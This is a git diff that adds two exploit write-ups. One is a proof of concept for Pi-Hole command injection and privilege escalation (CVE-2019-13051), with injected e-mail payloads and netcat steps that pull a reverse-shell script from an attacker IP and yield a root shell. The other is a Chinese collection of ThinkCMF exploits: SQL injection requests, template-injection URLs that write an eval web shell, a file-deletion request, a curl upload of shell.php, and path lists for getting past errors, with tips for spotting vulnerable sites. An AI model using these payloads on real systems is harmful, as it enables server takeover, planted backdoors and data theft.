diff --git a/CVE-2019-13051/README.md b/CVE-2019-13051/README.md new file mode 100644 index 0000000..263f234 --- /dev/null +++ b/CVE-2019-13051/README.md @@ -0,0 +1,68 @@ +## Pi-Hole < 4.3.2 Command Injection & PrivEsc (CVE-2019-13051) + +*Pi-Hole version 4.3.2 contains a patch to this vulnerability: https://github.com/pi-hole/AdminLTE/pull/974* + +A big thanks to the Pi-Hole dev team for their awesome project and for making it so easy to report this vulnerability! + +### Executive Summary +It is possible to remotely gain root access on the RaspberyPi device (or whichever device/VM the application is running on) through the described vulnerabilities on the "AdminLTE" component. Administrative access/credentials to the AdminLTE web interface is required in order to exploit this. + +In more detail, it is possible to bypass regular expression checks and pollute the "Administrator E-mail Address" field with arbitrary command(s). These are in turn stored in "/etc/pihole/setupVars.conf" which are then subsequently parsed and executed with **root** privileges from the 10 minute cron.d job “/usr/local/bin/pihole updatechecker local”. + +### Attack Pre-requisites +1) Network connectivity to the Administrative Pi-Hole web-application (AdminLTE). +2) Set of credentials for the AdminLTE web-application. + +### Limitations +An attacker has to wait for the 10minute interval of the cron job "/etc/cron.d/pihole" for command/code execution. + +### Technical Description +Hopefully the following details and PoC will help with your validation & reproduction of the issue. + +Once authenticated to the web-application there are a few server-side validations which an attacker needs to bypass to successfully inject a command. + +On "savesettings.php" L:499 a user-controlled variable "$adminemail" is evaluated against the FILTER_VALIDATE_EMAIL internal PHP function which checks are relatively weak. + +It is then possible to bypass this validation check and prove command injection by simply enclosing a set of back ticks in double-quotes for example, entering the following as the administrator's e-mail: + +``"`test>/tmp/poc_proof.txt`"@example.com`` + +![Screenshot 1](image001.png?raw=true) + +Within 10 minutes a root owned file containing "test" will be created within "/tmp/poc_proof.txt" with root privileges. + +![Screenshot 2](image003.jpg?raw=true) + +In order to perform any further meaningful attacks one also needs to bypass the limitation of whitespaces (which aren't valid e-mail characters and are being caught by FILTER_VALIDATE_EMAIL function). For this, the internal linux variable ${IFS} was utilised (which defaults to whitespace in most unix os's). + +**PoC:** + +*Note: this could be automated with a 1-liner using POSIX shell grammar i.e. &&, || ... + +1. Ensure you have your script delivery mechanism ready on your attacking machine. I.e. On the attacking machine: + +`nc -nvlp 4444 < revshell.py` + +2. Submit 1st command within "Administrator E-mail Address" field to trigger retrieval and storage of a reverse shell python script in "/tmp/revshell.py": + +``"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@example.com`` + +![Screenshot 3](image005.png?raw=true) + +The HTTP request will look like this when examined with an HTTP proxy: + +![Screenshot 4](image007.png?raw=true) + +Wait 10 minutes for the cron job to run and grab the script or for reproduction purposes manually run `/usr/local/bin/pihole updatechecker local`. You can also validate the injected command residing in "/etc/pihole/setupVars.conf" (found assigned to the ADMIN_EMAIL variable) + +3. Ensure you have your shell catch service ready. I.e. on the attacking machine: + +`nc -nvlp 4445` + +4. Finally, you can submit the following: + +``“`python${IFS}/tmp/revshell.py`”@example.com`` + +Once again wait for 10 minutes (or execute cron script manually for issue reproduction purposes) and you will retrieve a root shell on your attacking machine. + +![Screenshot 1](image009.jpg?raw=true) diff --git a/CVE-2019-13051/image001.png b/CVE-2019-13051/image001.png new file mode 100644 index 0000000..a118465 Binary files /dev/null and b/CVE-2019-13051/image001.png differ diff --git a/CVE-2019-13051/image003.jpg b/CVE-2019-13051/image003.jpg new file mode 100644 index 0000000..6c7c887 Binary files /dev/null and b/CVE-2019-13051/image003.jpg differ diff --git a/CVE-2019-13051/image005.png b/CVE-2019-13051/image005.png new file mode 100644 index 0000000..a4cc585 Binary files /dev/null and b/CVE-2019-13051/image005.png differ diff --git a/CVE-2019-13051/image007.png b/CVE-2019-13051/image007.png new file mode 100644 index 0000000..348d88a Binary files /dev/null and b/CVE-2019-13051/image007.png differ diff --git a/CVE-2019-13051/image009.jpg b/CVE-2019-13051/image009.jpg new file mode 100644 index 0000000..4beb30d Binary files /dev/null and b/CVE-2019-13051/image009.jpg differ diff --git a/ThinkCMF漏洞全集和.md b/ThinkCMF漏洞全集和.md new file mode 100644 index 0000000..2c4efcf --- /dev/null +++ b/ThinkCMF漏洞全集和.md @@ -0,0 +1,137 @@ +## ThinkCMF漏洞全集和 +> ...持续收集,欢迎贡献 + +- 前台SQL注入: +> 需要普通用户权限，默认可注册 +> paylaod: + +```raw +POST /ThinkCMFX/index.php?g=portal&m=article&a=edit_post HTTP/1.1 +Host: localhost +Connection: close +Cookie: PHPSESSID=kcg5v82ms3v13o8pgrhh9saj95 +Content-Type: application/x-www-form-urlencoded +Content-Length: 79 + +post[id][0]=bind&post[id][1]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)--+- + +``` +> 还有以下可以测试： +```raw +post: +term:123 +post[post_title]:123 +post[post_title]:aaa +post_title:123 +post[id][0]:bind +``` + +- 前台模版注入漏洞-可getshell四处 + +```raw +# 仅在Windows环境测试 +# 第一处 +http://website/ThinkCMFX/index.php?g=Comment&m=Widget&a=fetch&templateFile=/../public/index&content=<%3fphp+file_put_contents('m.php','<%3fphp+eval($_POST[_])%3b');?>&prefix= +# 第二处 +http://website/ThinkCMFX/index.php?g=Api&m=Plugin&a=fetch&templateFile=/../../../public/index&content=<%3fphp+file_put_contents('m.php','<%3fphp+eval($_POST[_])%3b');?>&prefix= + +# 第三处 +/index.php?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('test.php','') + +# 第四处 +/index.php?a=fetch&content= 在用户上传头像处存在任意文件删除漏洞，发送如下数据包后，会删除网站根目录下一个名为 test.txt 的文件。（该漏洞仅能在 Windows 下触发） +``` +POST /ThinkCMFX/index.php?g=User&m=Profile&a=do_avatar& HTTP/1.1 +Host: localhost +Cookie: PHPSESSID=bggit7phrb1dl99pcb2lagbmq0; +Connection: close +Content-Type: application/x-www-form-urlencoded +Content-Length: 27 + +imgurl=..\..\..\test.txt +``` + +- 任意文件上传 +> 在 ThinkCMFX2.2.3 最终版中，存在一处任意文件上传（需要普通用户权限，默认可注册） +` curl -F "file=@/tmp/shell.php" -X "POST" -b 'PHPSESSID=qekmttucmue6vv41kpdjghnkd0;' 'http://127.0.0.1/ThinkCMFX/index.php?g=Asset&m=Ueditor&a=upload&action=uploadfile' +` + +- 任意文件包含（读取数据库配置等等） +`/index.php?a=display&templateFile=README.md` + +### 使用说明 +> thinkcmf 并没有死，并且有3版本与5版本这里提供一些方法，帮助你们辨别哪一些是可以日的，那一些事不行的。 +1.看logo 3的logo是黄色的. +2.在网站url 后面输入 admin,如果页面是蓝色的表示是3的，可日穿之. +3.查看 README.md 在网站url后面输入README.md. +> 另外还有一个说明，你在实际操作的过程中，可能会遇到他一直报这个`模板不存在`错: +```raw +url:http://thinkcmf.test/index.php?g=Comment&m=Widget&a=fetch +post: +templateFile=/../public/index +prefix='' +content=file_put_contents('test.php',' +``` +请放心这并不是说明漏洞不可使用，而是说，这个模版不存在，你可以换一个html即可 +``` +例如： +/../public/index +/../public/exception +/../data/index +/../data/runtime/index +/../plugins/Mobileverify/View/admin_index +/../plugins/Mobileverify/View/index +/../plugins/Mobileverify/View/widget +/../plugins/Demo/View/admin_index +/../plugins/Demo/View/index +/../plugins/Demo/View/widget +/../application/Install/View/Public/footer +/../application/Install/View/Public/head +/../application/Install/View/Public/header +/../application/Common/index +/../application/Portal/Lang/en-us/index +/../application/Api/Lang/en-us/index +/../application/Api/Lang/zh-cn/index +/../application/Comment/Lang/en-us/index +/../application/Comment/Lang/zh-cn/index +``` + +``` +url:http://thinkcmf.test/index.php?g=Api&m=Plugin&a=fetch +post: +templateFile=/../../../public/index +prefix='' +content=file_put_contents('test1.php',' +``` +``` +/../../../public/index +/../../../public/exception +/../../../data/index +/../../../data/runtime/index +/../../../plugins/Mobileverify/View/admin_index +/../../../plugins/Mobileverify/View/index +/../../../plugins/Mobileverify/View/widget +/../../../plugins/Demo/View/admin_index +/../../../plugins/Demo/View/index +/../../../plugins/Demo/View/widget +/../../../application/Install/View/Public/footer +/../../../application/Install/View/Public/head +/../../../application/Install/View/Public/header +/../../../application/Common/index +/../../../application/Portal/Lang/en-us/index +/../../../application/Api/Lang/en-us/index +/../../../application/Api/Lang/zh-cn/index +/../../../application/Comment/Lang/en-us/index +/../../../application/Comment/Lang/zh-cn/index +``` +> 还有最后一句废话：模版注入对于linux 并不好用 : ) + +参考： +https://xz.aliyun.com/t/3409 +https://xz.aliyun.com/t/3529 +https://mochazz.github.io/2019/07/25/ThinkCMFX%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%90%88%E9%9B%86/#%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0 \ No newline at end of file